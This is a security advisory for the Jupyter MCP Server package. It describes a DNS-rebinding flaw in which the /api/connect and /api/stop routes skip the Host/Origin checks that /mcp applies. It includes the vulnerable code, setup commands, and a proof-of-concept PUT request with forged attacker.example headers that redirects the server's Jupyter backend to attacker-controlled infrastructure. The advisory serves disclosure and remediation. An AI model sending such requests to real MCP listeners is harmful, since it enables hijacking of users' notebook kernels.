UNKNOWN PyPI

Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes

GHSA-9x8x-crjq-g64h · CVE-2026-77359

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Description

Standalone streamable-http mode in datalayer/jupyter-mcp-server rejects forged Host and Origin headers on /mcp, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to 127.0.0.1 or a private target address, then send PUT /api/connect to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.

The protected /mcp endpoint shows the intended browser-origin boundary. With MCP_TOKEN configured, /mcp rejects forged browser headers:

POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header

The vulnerable route is jupyter_mcp_server/server.py:143-187. It parses caller JSON, updates the active Jupyter backend configuration, resets ServerContext, and starts the kernel without applying the /mcp Host/Origin rejection to the custom route:

@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

/api/stop is also state-changing and accepts the same browser-origin route shape:

# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Proof of concept

Run the affected version with MCP_TOKEN configured:

git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

First, show that /mcp rejects the browser-shaped request:

POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Observed response:

HTTP/1.1 421
Invalid Host header

Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to 127.0.0.1 or the private MCP listener:

PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}

Observed response:

HTTP/1.1 200 OK
content-type: application/json

{"success":true}

The server log shows that /api/connect accepted the attacker-chosen backend despite the browser-origin headers:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND

Impact

The protected /mcp endpoint rejects forged Host and Origin values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

Why this is a vulnerability, not intended behavior

  • This is not a generic claim that /mcp lacks Host validation. /mcp rejects the forged Host replay with HTTP 421 Invalid Host header.
  • This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
  • This is not only a broad-bind issue. The default 0.0.0.0 bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to /mcp.

Remediation

Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:

  1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
  2. Require the MCP_TOKEN bearer token on /api/connect, /api/stop, /api/healthz, and any future custom route that reads or changes server state.
  3. Bind standalone HTTP to 127.0.0.1 by default, and require an explicit host allowlist for non-loopback listeners.
  4. Add regression tests proving that /api/connect and /api/stop reject forged browser Host and Origin headers.

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